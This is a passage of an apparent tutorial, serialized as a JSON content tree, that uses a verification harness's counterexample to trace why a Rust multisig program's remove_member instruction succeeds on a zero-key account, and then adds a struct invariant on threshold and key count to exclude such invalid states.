",{"type":23,"tag":209,"props":26791,"children":26793},{"className":26792},[],[26794],{"type":28,"value":20216},{"type":28,"value":26796}," harness:",{"type":23,"tag":202,"props":26798,"children":26800},{"code":26799},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[26801],{"type":23,"tag":209,"props":26802,"children":26803},{"__ignoreMap":7},[26804],{"type":28,"value":26799},{"type":23,"tag":24,"props":26806,"children":26807},{},[26808],{"type":28,"value":26809},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":202,"props":26811,"children":26813},{"code":26812,"language":205,"meta":7,"className":206,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[26814],{"type":23,"tag":209,"props":26815,"children":26816},{"__ignoreMap":7},[26817,26828,26847,26866,26885,26904,26923,26942,26961,26980,26999,27019,27038,27045,27052,27079],{"type":23,"tag":213,"props":26818,"children":26819},{"class":215,"line":216},[26820,26824],{"type":23,"tag":213,"props":26821,"children":26822},{"style":290},[26823],{"type":28,"value":17197},{"type":23,"tag":213,"props":26825,"children":26826},{"style":220},[26827],{"type":28,"value":1375},{"type":23,"tag":213,"props":26829,"children":26830},{"class":215,"line":226},[26831,26835,26839,26843],{"type":23,"tag":213,"props":26832,"children":26833},{"style":268},[26834],{"type":28,"value":25230},{"type":23,"tag":213,"props":26836,"children":26837},{"style":274},[26838],{"type":28,"value":277},{"type":23,"tag":213,"props":26840,"children":26841},{"style":290},[26842],{"type":28,"value":21206},{"type":23,"tag":213,"props":26844,"children":26845},{"style":220},[26846],{"type":28,"value":1375},{"type":23,"tag":213,"props":26848,"children":26849},{"class":215,"line":524},[26850,26854,26858,26862],{"type":23,"tag":213,"props":26851,"children":26852},{"style":268},[26853],{"type":28,"value":23885},{"type":23,"tag":213,"props":26855,"children":26856},{"style":274},[26857],{"type":28,"value":277},{"type":23,"tag":213,"props":26859,"children":26860},{"style":514},[26861],{"type":28,"value":517},{"type":23,"tag":213,"props":26863,"children":26864},{"style":220},[26865],{"type":28,"value":944},{"type":23,"tag":213,"props":26867,"children":26868},{"class":215,"line":533},[26869,26873,26877,26881],{"type":23,"tag":213,"props":26870,"children":26871},{"style":268},[26872],{"type":28,"value":25270},{"type":23,"tag":213,"props":26874,"children":26875},{"style":274},[26876],{"type":28,"value":277},{"type":23,"tag":213,"props":26878,"children":26879},{"style":514},[26880],{"type":28,"value":517},{"type":23,"tag":213,"props":26882,"children":26883},{"style":220},[26884],{"type":28,"value":944},{"type":23,"tag":213,"props":26886,"children":26887},{"class":215,"line":543},[26888,26892,26896,26900],{"type":23,"tag":213,"props":26889,"children":26890},{"style":268},[26891],{"type":28,"value":25290},{"type":23,"tag":213,"props":26893,"children":26894},{"style":274},[26895],{"type":28,"value":277},{"type":23,"tag":213,"props":26897,"children":26898},{"style":514},[26899],{"type":28,"value":517},{"type":23,"tag":213,"props":26901,"children":26902},{"style":220},[26903],{"type":28,"value":944},{"type":23,"tag":213,"props":26905,"children":26906},{"class":215,"line":551},[26907,26911,26915,26919],{"type":23,"tag":213,"props":26908,"children":26909},{"style":268},[26910],{"type":28,"value":25310},{"type":23,"tag":213,"props":26912,"children":26913},{"style":274},[26914],{"type":28,"value":277},{"type":23,"tag":213,"props":26916,"children":26917},{"style":514},[26918],{"type":28,"value":517},{"type":23,"tag":213,"props":26920,"children":26921},{"style":220},[26922],{"type":28,"value":944},{"type":23,"tag":213,"props":26924,"children":26925},{"class":215,"line":570},[26926,26930,26934,26938],{"type":23,"tag":213,"props":26927,"children":26928},{"style":268},[26929],{"type":28,"value":25330},{"type":23,"tag":213,"props":26931,"children":26932},{"style":274},[26933],{"type":28,"value":277},{"type":23,"tag":213,"props":26935,"children":26936},{"style":514},[26937],{"type":28,"value":517},{"type":23,"tag":213,"props":26939,"children":26940},{"style":220},[26941],{"type":28,"value":944},{"type":23,"tag":213,"props":26943,"children":26944},{"class":215,"line":655},[26945,26949,26953,26957],{"type":23,"tag":213,"props":26946,"children":26947},{"style":268},[26948],{"type":28,"value":23898},{"type":23,"tag":213,"props":26950,"children":26951},{"style":274},[26952],{"type":28,"value":277},{"type":23,"tag":213,"props":26954,"children":26955},{"style":274},[26956],{"type":28,"value":25358},{"type":23,"tag":213,"props":26958,"children":26959},{"style":220},[26960],{"type":28,"value":944},{"type":23,"tag":213,"props":26962,"children":26963},{"class":215,"line":1176},[26964,26968,26972,26976],{"type":23,"tag":213,"props":26965,"children":26966},{"style":268},[26967],{"type":28,"value":25370},{"type":23,"tag":213,"props":26969,"children":26970},{"style":274},[26971],{"type":28,"value":277},{"type":23,"tag":213,"props":26973,"children":26974},{"style":230},[26975],{"type":28,"value":9143},{"type":23,"tag":213,"props":26977,"children":26978},{"style":220},[26979],{"type":28,"value":944},{"type":23,"tag":213,"props":26981,"children":26982},{"class":215,"line":1202},[26983,26987,26991,26995],{"type":23,"tag":213,"props":26984,"children":26985},{"style":268},[26986],{"type":28,"value":25390},{"type":23,"tag":213,"props":26988,"children":26989},{"style":274},[26990],{"type":28,"value":277},{"type":23,"tag":213,"props":26992,"children":26993},{"style":290},[26994],{"type":28,"value":21439},{"type":23,"tag":213,"props":26996,"children":26997},{"style":220},[26998],{"type":28,"value":1375},{"type":23,"tag":213,"props":27000,"children":27001},{"class":215,"line":1758},[27002,27007,27011,27015],{"type":23,"tag":213,"props":27003,"children":27004},{"style":268},[27005],{"type":28,"value":27006}," data",{"type":23,"tag":213,"props":27008,"children":27009},{"style":274},[27010],{"type":28,"value":277},{"type":23,"tag":213,"props":27012,"children":27013},{"style":274},[27014],{"type":28,"value":25358},{"type":23,"tag":213,"props":27016,"children":27017},{"style":220},[27018],{"type":28,"value":944},{"type":23,"tag":213,"props":27020,"children":27021},{"class":215,"line":1767},[27022,27026,27030,27034],{"type":23,"tag":213,"props":27023,"children":27024},{"style":268},[27025],{"type":28,"value":25411},{"type":23,"tag":213,"props":27027,"children":27028},{"style":274},[27029],{"type":28,"value":277},{"type":23,"tag":213,"props":27031,"children":27032},{"style":514},[27033],{"type":28,"value":517},{"type":23,"tag":213,"props":27035,"children":27036},{"style":220},[27037],{"type":28,"value":944},{"type":23,"tag":213,"props":27039,"children":27040},{"class":215,"line":1789},[27041],{"type":23,"tag":213,"props":27042,"children":27043},{"style":220},[27044],{"type":28,"value":1896},{"type":23,"tag":213,"props":27046,"children":27047},{"class":215,"line":1812},[27048],{"type":23,"tag":213,"props":27049,"children":27050},{"style":220},[27051],{"type":28,"value":2249},{"type":23,"tag":213,"props":27053,"children":27054},{"class":215,"line":1838},[27055,27059,27063,27067,27071,27075],{"type":23,"tag":213,"props":27056,"children":27057},{"style":268},[27058],{"type":28,"value":25446},{"type":23,"tag":213,"props":27060,"children":27061},{"style":274},[27062],{"type":28,"value":277},{"type":23,"tag":213,"props":27064,"children":27065},{"style":290},[27066],{"type":28,"value":892},{"type":23,"tag":213,"props":27068,"children":27069},{"style":220},[27070],{"type":28,"value":2572},{"type":23,"tag":213,"props":27072,"children":27073},{"style":274},[27074],{"type":28,"value":9675},{"type":23,"tag":213,"props":27076,"children":27077},{"style":220},[27078],{"type":28,"value":2581},{"type":23,"tag":213,"props":27080,"children":27081},{"class":215,"line":1851},[27082],{"type":23,"tag":213,"props":27083,"children":27084},{"style":220},[27085],{"type":28,"value":1208},{"type":23,"tag":24,"props":27087,"children":27088},{},[27089],{"type":28,"value":27090},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":27092,"children":27093},{},[27094,27096,27102],{"type":28,"value":27095},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":209,"props":27097,"children":27099},{"className":27098},[],[27100],{"type":28,"value":27101},"Ms::remove_member",{"type":28,"value":277},{"type":23,"tag":202,"props":27104,"children":27106},{"code":27105,"language":205,"meta":7,"className":206,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[27107],{"type":23,"tag":209,"props":27108,"children":27109},{"__ignoreMap":7},[27110,27169,27200,27207],{"type":23,"tag":213,"props":27111,"children":27112},{"class":215,"line":216},[27113,27117,27121,27125,27129,27133,27137,27141,27145,27149,27153,27157,27161,27165],{"type":23,"tag":213,"props":27114,"children":27115},{"style":1362},[27116],{"type":28,"value":15637},{"type":23,"tag":213,"props":27118,"children":27119},{"style":268},[27120],{"type":28,"value":25898},{"type":23,"tag":213,"props":27122,"children":27123},{"style":274},[27124],{"type":28,"value":124},{"type":23,"tag":213,"props":27126,"children":27127},{"style":220},[27128],{"type":28,"value":14743},{"type":23,"tag":213,"props":27130,"children":27131},{"style":274},[27132],{"type":28,"value":124},{"type":23,"tag":213,"props":27134,"children":27135},{"style":220},[27136],{"type":28,"value":23864},{"type":23,"tag":213,"props":27138,"children":27139},{"style":274},[27140],{"type":28,"value":124},{"type":23,"tag":213,"props":27142,"children":27143},{"style":220},[27144],{"type":28,"value":21034},{"type":23,"tag":213,"props":27146,"children":27147},{"style":274},[27148],{"type":28,"value":124},{"type":23,"tag":213,"props":27150,"children":27151},{"style":257},[27152],{"type":28,"value":9225},{"type":23,"tag":213,"props":27154,"children":27155},{"style":220},[27156],{"type":28,"value":2698},{"type":23,"tag":213,"props":27158,"children":27159},{"style":274},[27160],{"type":28,"value":8660},{"type":23,"tag":213,"props":27162,"children":27163},{"style":514},[27164],{"type":28,"value":4618},{"type":23,"tag":213,"props":27166,"children":27167},{"style":220},[27168],{"type":28,"value":1375},{"type":23,"tag":213,"props":27170,"children":27171},{"class":215,"line":226},[27172,27176,27180,27184,27188,27192,27196],{"type":23,"tag":213,"props":27173,"children":27174},{"style":1362},[27175],{"type":28,"value":17040},{"type":23,"tag":213,"props":27177,"children":27178},{"style":257},[27179],{"type":28,"value":23567},{"type":23,"tag":213,"props":27181,"children":27182},{"style":220},[27183],{"type":28,"value":265},{"type":23,"tag":213,"props":27185,"children":27186},{"style":290},[27187],{"type":28,"value":23576},{"type":23,"tag":213,"props":27189,"children":27190},{"style":274},[27191],{"type":28,"value":562},{"type":23,"tag":213,"props":27193,"children":27194},{"style":290},[27195],{"type":28,"value":25974},{"type":23,"tag":213,"props":27197,"children":27198},{"style":220},[27199],{"type":28,"value":2867},{"type":23,"tag":213,"props":27201,"children":27202},{"class":215,"line":524},[27203],{"type":23,"tag":213,"props":27204,"children":27205},{"style":220},[27206],{"type":28,"value":1208},{"type":23,"tag":213,"props":27208,"children":27209},{"class":215,"line":533},[27210,27214,27218,27222,27226,27230,27234,27238,27242,27246,27250,27254],{"type":23,"tag":213,"props":27211,"children":27212},{"style":268},[27213],{"type":28,"value":20335},{"type":23,"tag":213,"props":27215,"children":27216},{"style":274},[27217],{"type":28,"value":124},{"type":23,"tag":213,"props":27219,"children":27220},{"style":220},[27221],{"type":28,"value":14743},{"type":23,"tag":213,"props":27223,"children":27224},{"style":274},[27225],{"type":28,"value":124},{"type":23,"tag":213,"props":27227,"children":27228},{"style":220},[27229],{"type":28,"value":23864},{"type":23,"tag":213,"props":27231,"children":27232},{"style":274},[27233],{"type":28,"value":124},{"type":23,"tag":213,"props":27235,"children":27236},{"style":257},[27237],{"type":28,"value":25521},{"type":23,"tag":213,"props":27239,"children":27240},{"style":220},[27241],{"type":28,"value":265},{"type":23,"tag":213,"props":27243,"children":27244},{"style":268},[27245],{"type":28,"value":25854},{"type":23,"tag":213,"props":27247,"children":27248},{"style":220},[27249],{"type":28,"value":2121},{"type":23,"tag":213,"props":27251,"children":27252},{"style":274},[27253],{"type":28,"value":2126},{"type":23,"tag":213,"props":27255,"children":27256},{"style":220},[27257],{"type":28,"value":313},{"type":23,"tag":24,"props":27259,"children":27260},{},[27261,27263,27269,27271,27277],{"type":28,"value":27262},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":209,"props":27264,"children":27266},{"className":27265},[],[27267],{"type":28,"value":27268},"Ms::is_member",{"type":28,"value":27270},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":209,"props":27272,"children":27274},{"className":27273},[],[27275],{"type":28,"value":27276},"Ok(())",{"type":28,"value":124},{"type":23,"tag":202,"props":27279,"children":27281},{"code":27280,"language":205,"meta":7,"className":206,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[27282],{"type":23,"tag":209,"props":27283,"children":27284},{"__ignoreMap":7},[27285,27349,27408,27445,27504,27572,27579,27586,27597],{"type":23,"tag":213,"props":27286,"children":27287},{"class":215,"line":216},[27288,27292,27296,27300,27304,27308,27312,27316,27320,27325,27329,27333,27337,27341,27345],{"type":23,"tag":213,"props":27289,"children":27290},{"style":230},[27291],{"type":28,"value":233},{"type":23,"tag":213,"props":27293,"children":27294},{"style":230},[27295],{"type":28,"value":254},{"type":23,"tag":213,"props":27297,"children":27298},{"style":257},[27299],{"type":28,"value":25820},{"type":23,"tag":213,"props":27301,"children":27302},{"style":220},[27303],{"type":28,"value":265},{"type":23,"tag":213,"props":27305,"children":27306},{"style":274},[27307],{"type":28,"value":405},{"type":23,"tag":213,"props":27309,"children":27310},{"style":230},[27311],{"type":28,"value":287},{"type":23,"tag":213,"props":27313,"children":27314},{"style":230},[27315],{"type":28,"value":13873},{"type":23,"tag":213,"props":27317,"children":27318},{"style":220},[27319],{"type":28,"value":424},{"type":23,"tag":213,"props":27321,"children":27322},{"style":268},[27323],{"type":28,"value":27324},"member",{"type":23,"tag":213,"props":27326,"children":27327},{"style":274},[27328],{"type":28,"value":277},{"type":23,"tag":213,"props":27330,"children":27331},{"style":290},[27332],{"type":28,"value":419},{"type":23,"tag":213,"props":27334,"children":27335},{"style":220},[27336],{"type":28,"value":298},{"type":23,"tag":213,"props":27338,"children":27339},{"style":274},[27340],{"type":28,"value":303},{"type":23,"tag":213,"props":27342,"children":27343},{"style":290},[27344],{"type":28,"value":13838},{"type":23,"tag":213,"props":27346,"children":27347},{"style":220},[27348],{"type":28,"value":20386},{"type":23,"tag":213,"props":27350,"children":27351},{"class":215,"line":226},[27352,27356,27361,27366,27370,27375,27379,27383,27387,27391,27396,27400,27404],{"type":23,"tag":213,"props":27353,"children":27354},{"style":1362},[27355],{"type":28,"value":2653},{"type":23,"tag":213,"props":27357,"children":27358},{"style":230},[27359],{"type":28,"value":27360}," let",{"type":23,"tag":213,"props":27362,"children":27363},{"style":290},[27364],{"type":28,"value":27365}," Some",{"type":23,"tag":213,"props":27367,"children":27368},{"style":220},[27369],{"type":28,"value":265},{"type":23,"tag":213,"props":27371,"children":27372},{"style":268},[27373],{"type":28,"value":27374},"ind",{"type":23,"tag":213,"props":27376,"children":27377},{"style":220},[27378],{"type":28,"value":298},{"type":23,"tag":213,"props":27380,"children":27381},{"style":274},[27382],{"type":28,"value":3190},{"type":23,"tag":213,"props":27384,"children":27385},{"style":230},[27386],{"type":28,"value":13873},{"type":23,"tag":213,"props":27388,"children":27389},{"style":274},[27390],{"type":28,"value":124},{"type":23,"tag":213,"props":27392,"children":27393},{"style":257},[27394],{"type":28,"value":27395},"is_member",{"type":23,"tag":213,"props":27397,"children":27398},{"style":220},[27399],{"type":28,"value":265},{"type":23,"tag":213,"props":27401,"children":27402},{"style":268},[27403],{"type":28,"value":27324},{"type":23,"tag":213,"props":27405,"children":27406},{"style":220},[27407],{"type":28,"value":14870},{"type":23,"tag":213,"props":27409,"children":27410},{"class":215,"line":524},[27411,27416,27420,27424,27428,27433,27437,27441],{"type":23,"tag":213,"props":27412,"children":27413},{"style":230},[27414],{"type":28,"value":27415}," self",{"type":23,"tag":213,"props":27417,"children":27418},{"style":274},[27419],{"type":28,"value":124},{"type":23,"tag":213,"props":27421,"children":27422},{"style":220},[27423],{"type":28,"value":21034},{"type":23,"tag":213,"props":27425,"children":27426},{"style":274},[27427],{"type":28,"value":124},{"type":23,"tag":213,"props":27429,"children":27430},{"style":257},[27431],{"type":28,"value":27432},"remove",{"type":23,"tag":213,"props":27434,"children":27435},{"style":220},[27436],{"type":28,"value":265},{"type":23,"tag":213,"props":27438,"children":27439},{"style":268},[27440],{"type":28,"value":27374},{"type":23,"tag":213,"props":27442,"children":27443},{"style":220},[27444],{"type":28,"value":2867},{"type":23,"tag":213,"props":27446,"children":27447},{"class":215,"line":533},[27448,27452,27456,27460,27464,27468,27472,27476,27480,27484,27488,27492,27496,27500],{"type":23,"tag":213,"props":27449,"children":27450},{"style":1362},[27451],{"type":28,"value":3369},{"type":23,"tag":213,"props":27453,"children":27454},{"style":230},[27455],{"type":28,"value":13873},{"type":23,"tag":213,"props":27457,"children":27458},{"style":274},[27459],{"type":28,"value":124},{"type":23,"tag":213,"props":27461,"children":27462},{"style":220},[27463],{"type":28,"value":21034},{"type":23,"tag":213,"props":27465,"children":27466},{"style":274},[27467],{"type":28,"value":124},{"type":23,"tag":213,"props":27469,"children":27470},{"style":257},[27471],{"type":28,"value":9225},{"type":23,"tag":213,"props":27473,"children":27474},{"style":220},[27475],{"type":28,"value":26099},{"type":23,"tag":213,"props":27477,"children":27478},{"style":290},[27479],{"type":28,"value":16653},{"type":23,"tag":213,"props":27481,"children":27482},{"style":274},[27483],{"type":28,"value":562},{"type":23,"tag":213,"props":27485,"children":27486},{"style":257},[27487],{"type":28,"value":19527},{"type":23,"tag":213,"props":27489,"children":27490},{"style":220},[27491],{"type":28,"value":265},{"type":23,"tag":213,"props":27493,"children":27494},{"style":230},[27495],{"type":28,"value":13791},{"type":23,"tag":213,"props":27497,"children":27498},{"style":274},[27499],{"type":28,"value":124},{"type":23,"tag":213,"props":27501,"children":27502},{"style":220},[27503],{"type":28,"value":26144},{"type":23,"tag":213,"props":27505,"children":27506},{"class":215,"line":543},[27507,27512,27516,27520,27524,27528,27532,27536,27540,27544,27548,27552,27556,27560,27564,27568],{"type":23,"tag":213,"props":27508,"children":27509},{"style":230},[27510],{"type":28,"value":27511}," self",{"type":23,"tag":213,"props":27513,"children":27514},{"style":274},[27515],{"type":28,"value":124},{"type":23,"tag":213,"props":27517,"children":27518},{"style":220},[27519],{"type":28,"value":21122},{"type":23,"tag":213,"props":27521,"children":27522},{"style":274},[27523],{"type":28,"value":3190},{"type":23,"tag":213,"props":27525,"children":27526},{"style":230},[27527],{"type":28,"value":13873},{"type":23,"tag":213,"props":27529,"children":27530},{"style":274},[27531],{"type":28,"value":124},{"type":23,"tag":213,"props":27533,"children":27534},{"style":220},[27535],{"type":28,"value":21034},{"type":23,"tag":213,"props":27537,"children":27538},{"style":274},[27539],{"type":28,"value":124},{"type":23,"tag":213,"props":27541,"children":27542},{"style":257},[27543],{"type":28,"value":9225},{"type":23,"tag":213,"props":27545,"children":27546},{"style":220},[27547],{"type":28,"value":13955},{"type":23,"tag":213,"props":27549,"children":27550},{"style":274},[27551],{"type":28,"value":124},{"type":23,"tag":213,"props":27553,"children":27554},{"style":257},[27555],{"type":28,"value":26217},{"type":23,"tag":213,"props":27557,"children":27558},{"style":220},[27559],{"type":28,"value":13955},{"type":23,"tag":213,"props":27561,"children":27562},{"style":274},[27563],{"type":28,"value":124},{"type":23,"tag":213,"props":27565,"children":27566},{"style":257},[27567],{"type":28,"value":3754},{"type":23,"tag":213,"props":27569,"children":27570},{"style":220},[27571],{"type":28,"value":3759},{"type":23,"tag":213,"props":27573,"children":27574},{"class":215,"line":551},[27575],{"type":23,"tag":213,"props":27576,"children":27577},{"style":220},[27578],{"type":28,"value":3444},{"type":23,"tag":213,"props":27580,"children":27581},{"class":215,"line":570},[27582],{"type":23,"tag":213,"props":27583,"children":27584},{"style":220},[27585],{"type":28,"value":2875},{"type":23,"tag":213,"props":27587,"children":27588},{"class":215,"line":655},[27589,27593],{"type":23,"tag":213,"props":27590,"children":27591},{"style":290},[27592],{"type":28,"value":14407},{"type":23,"tag":213,"props":27594,"children":27595},{"style":220},[27596],{"type":28,"value":14412},{"type":23,"tag":213,"props":27598,"children":27599},{"class":215,"line":1176},[27600],{"type":23,"tag":213,"props":27601,"children":27602},{"style":220},[27603],{"type":28,"value":1208},{"type":23,"tag":24,"props":27605,"children":27606},{},[27607,27609,27614,27616,27622,27624,27630,27632,27637],{"type":28,"value":27608},"Inside ",{"type":23,"tag":209,"props":27610,"children":27612},{"className":27611},[],[27613],{"type":28,"value":27268},{"type":28,"value":27615},", we see that it performs a ",{"type":23,"tag":209,"props":27617,"children":27619},{"className":27618},[],[27620],{"type":28,"value":27621},"binary_search",{"type":28,"value":27623}," on the keys vec and returns the index or ",{"type":23,"tag":209,"props":27625,"children":27627},{"className":27626},[],[27628],{"type":28,"value":27629},"None",{"type":28,"value":27631},". Since the vec has size zero, this will just return ",{"type":23,"tag":209,"props":27633,"children":27635},{"className":27634},[],[27636],{"type":28,"value":27629},{"type":28,"value":124},{"type":23,"tag":202,"props":27639,"children":27641},{"code":27640,"language":205,"meta":7,"className":206,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[27642],{"type":23,"tag":209,"props":27643,"children":27644},{"__ignoreMap":7},[27645,27714,27757,27796,27818,27825],{"type":23,"tag":213,"props":27646,"children":27647},{"class":215,"line":216},[27648,27652,27656,27661,27665,27669,27673,27677,27681,27685,27689,27693,27697,27702,27706,27710],{"type":23,"tag":213,"props":27649,"children":27650},{"style":230},[27651],{"type":28,"value":233},{"type":23,"tag":213,"props":27653,"children":27654},{"style":230},[27655],{"type":28,"value":254},{"type":23,"tag":213,"props":27657,"children":27658},{"style":257},[27659],{"type":28,"value":27660}," is_member",{"type":23,"tag":213,"props":27662,"children":27663},{"style":220},[27664],{"type":28,"value":265},{"type":23,"tag":213,"props":27666,"children":27667},{"style":274},[27668],{"type":28,"value":405},{"type":23,"tag":213,"props":27670,"children":27671},{"style":230},[27672],{"type":28,"value":13791},{"type":23,"tag":213,"props":27674,"children":27675},{"style":220},[27676],{"type":28,"value":424},{"type":23,"tag":213,"props":27678,"children":27679},{"style":268},[27680],{"type":28,"value":27324},{"type":23,"tag":213,"props":27682,"children":27683},{"style":274},[27684],{"type":28,"value":277},{"type":23,"tag":213,"props":27686,"children":27687},{"style":290},[27688],{"type":28,"value":419},{"type":23,"tag":213,"props":27690,"children":27691},{"style":220},[27692],{"type":28,"value":298},{"type":23,"tag":213,"props":27694,"children":27695},{"style":274},[27696],{"type":28,"value":303},{"type":23,"tag":213,"props":27698,"children":27699},{"style":290},[27700],{"type":28,"value":27701}," Option",{"type":23,"tag":213,"props":27703,"children":27704},{"style":220},[27705],{"type":28,"value":434},{"type":23,"tag":213,"props":27707,"children":27708},{"style":290},[27709],{"type":28,"value":16653},{"type":23,"tag":213,"props":27711,"children":27712},{"style":220},[27713],{"type":28,"value":905},{"type":23,"tag":213,"props":27715,"children":27716},{"class":215,"line":226},[27717,27721,27725,27729,27733,27737,27741,27745,27749,27753],{"type":23,"tag":213,"props":27718,"children":27719},{"style":1362},[27720],{"type":28,"value":14819},{"type":23,"tag":213,"props":27722,"children":27723},{"style":230},[27724],{"type":28,"value":13873},{"type":23,"tag":213,"props":27726,"children":27727},{"style":274},[27728],{"type":28,"value":124},{"type":23,"tag":213,"props":27730,"children":27731},{"style":220},[27732],{"type":28,"value":21034},{"type":23,"tag":213,"props":27734,"children":27735},{"style":274},[27736],{"type":28,"value":124},{"type":23,"tag":213,"props":27738,"children":27739},{"style":257},[27740],{"type":28,"value":27621},{"type":23,"tag":213,"props":27742,"children":27743},{"style":220},[27744],{"type":28,"value":265},{"type":23,"tag":213,"props":27746,"children":27747},{"style":274},[27748],{"type":28,"value":405},{"type":23,"tag":213,"props":27750,"children":27751},{"style":268},[27752],{"type":28,"value":27324},{"type":23,"tag":213,"props":27754,"children":27755},{"style":220},[27756],{"type":28,"value":14870},{"type":23,"tag":213,"props":27758,"children":27759},{"class":215,"line":524},[27760,27764,27768,27772,27776,27780,27784,27788,27792],{"type":23,"tag":213,"props":27761,"children":27762},{"style":290},[27763],{"type":28,"value":14878},{"type":23,"tag":213,"props":27765,"children":27766},{"style":220},[27767],{"type":28,"value":265},{"type":23,"tag":213,"props":27769,"children":27770},{"style":268},[27771],{"type":28,"value":27374},{"type":23,"tag":213,"props":27773,"children":27774},{"style":220},[27775],{"type":28,"value":298},{"type":23,"tag":213,"props":27777,"children":27778},{"style":274},[27779],{"type":28,"value":1445},{"type":23,"tag":213,"props":27781,"children":27782},{"style":290},[27783],{"type":28,"value":27365},{"type":23,"tag":213,"props":27785,"children":27786},{"style":220},[27787],{"type":28,"value":265},{"type":23,"tag":213,"props":27789,"children":27790},{"style":268},[27791],{"type":28,"value":27374},{"type":23,"tag":213,"props":27793,"children":27794},{"style":220},[27795],{"type":28,"value":1715},{"type":23,"tag":213,"props":27797,"children":27798},{"class":215,"line":533},[27799,27804,27809,27814],{"type":23,"tag":213,"props":27800,"children":27801},{"style":268},[27802],{"type":28,"value":27803}," _",{"type":23,"tag":213,"props":27805,"children":27806},{"style":274},[27807],{"type":28,"value":27808}," =>",{"type":23,"tag":213,"props":27810,"children":27811},{"style":290},[27812],{"type":28,"value":27813}," None",{"type":23,"tag":213,"props":27815,"children":27816},{"style":220},[27817],{"type":28,"value":944},{"type":23,"tag":213,"props":27819,"children":27820},{"class":215,"line":543},[27821],{"type":23,"tag":213,"props":27822,"children":27823},{"style":220},[27824],{"type":28,"value":2875},{"type":23,"tag":213,"props":27826,"children":27827},{"class":215,"line":551},[27828],{"type":23,"tag":213,"props":27829,"children":27830},{"style":220},[27831],{"type":28,"value":1208},{"type":23,"tag":24,"props":27833,"children":27834},{},[27835,27837,27842,27844,27849,27851,27856,27858,27863],{"type":28,"value":27836},"So interestingly, a ",{"type":23,"tag":209,"props":27838,"children":27840},{"className":27839},[],[27841],{"type":28,"value":21034},{"type":28,"value":27843}," vec of size 0 ",{"type":23,"tag":87,"props":27845,"children":27846},{},[27847],{"type":28,"value":27848},"is actually",{"type":28,"value":27850}," a sufficient condition to execute ",{"type":23,"tag":209,"props":27852,"children":27854},{"className":27853},[],[27855],{"type":28,"value":25521},{"type":28,"value":27857},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":87,"props":27859,"children":27860},{},[27861],{"type":28,"value":27862},"valid",{"type":28,"value":27864}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":27866,"children":27867},{},[27868,27870,27875],{"type":28,"value":27869},"We can represent this ",{"type":23,"tag":87,"props":27871,"children":27872},{},[27873],{"type":28,"value":27874},"validity",{"type":28,"value":27876}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":202,"props":27878,"children":27880},{"code":27879,"language":205,"meta":7,"className":206,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[27881],{"type":23,"tag":209,"props":27882,"children":27883},{"__ignoreMap":7},[27884,27891,27914,27965,27972],{"type":23,"tag":213,"props":27885,"children":27886},{"class":215,"line":216},[27887],{"type":23,"tag":213,"props":27888,"children":27889},{"style":220},[27890],{"type":28,"value":20832},{"type":23,"tag":213,"props":27892,"children":27893},{"class":215,"line":226},[27894,27898,27902,27906,27910],{"type":23,"tag":213,"props":27895,"children":27896},{"style":220},[27897],{"type":28,"value":24788},{"type":23,"tag":213,"props":27899,"children":27900},{"style":274},[27901],{"type":28,"value":124},{"type":23,"tag":213,"props":27903,"children":27904},{"style":220},[27905],{"type":28,"value":21122},{"type":23,"tag":213,"props":27907,"children":27908},{"style":274},[27909],{"type":28,"value":10026},{"type":23,"tag":213,"props":27911,"children":27912},{"style":220},[27913],{"type":28,"value":21131},{"type":23,"tag":213,"props":27915,"children":27916},{"class":215,"line":524},[27917,27921,27925,27929,27933,27937,27941,27945,27949,27953,27957,27961],{"type":23,"tag":213,"props":27918,"children":27919},{"style":274},[27920],{"type":28,"value":15678},{"type":23,"tag":213,"props":27922,"children":27923},{"style":220},[27924],{"type":28,"value":21055},{"type":23,"tag":213,"props":27926,"children":27927},{"style":274},[27928],{"type":28,"value":124},{"type":23,"tag":213,"props":27930,"children":27931},{"style":220},[27932],{"type":28,"value":21122},{"type":23,"tag":213,"props":27934,"children":27935},{"style":230},[27936],{"type":28,"value":623},{"type":23,"tag":213,"props":27938,"children":27939},{"style":290},[27940],{"type":28,"value":506},{"type":23,"tag":213,"props":27942,"children":27943},{"style":274},[27944],{"type":28,"value":8283},{"type":23,"tag":213,"props":27946,"children":27947},{"style":220},[27948],{"type":28,"value":13873},{"type":23,"tag":213,"props":27950,"children":27951},{"style":274},[27952],{"type":28,"value":124},{"type":23,"tag":213,"props":27954,"children":27955},{"style":220},[27956],{"type":28,"value":21034},{"type":23,"tag":213,"props":27958,"children":27959},{"style":274},[27960],{"type":28,"value":124},{"type":23,"tag":213,"props":27962,"children":27963},{"style":220},[27964],{"type":28,"value":21183},{"type":23,"tag":213,"props":27966,"children":27967},{"class":215,"line":533},[27968],{"type":23,"tag":213,"props":27969,"children":27970},{"style":220},[27971],{"type":28,"value":20313},{"type":23,"tag":213,"props":27973,"children":27974},{"class":215,"line":543},[27975,27979,27983,27987,27991,27995],{"type":23,"tag":213,"props":27976,"children":27977},{"style":230},[27978],{"type":28,"value"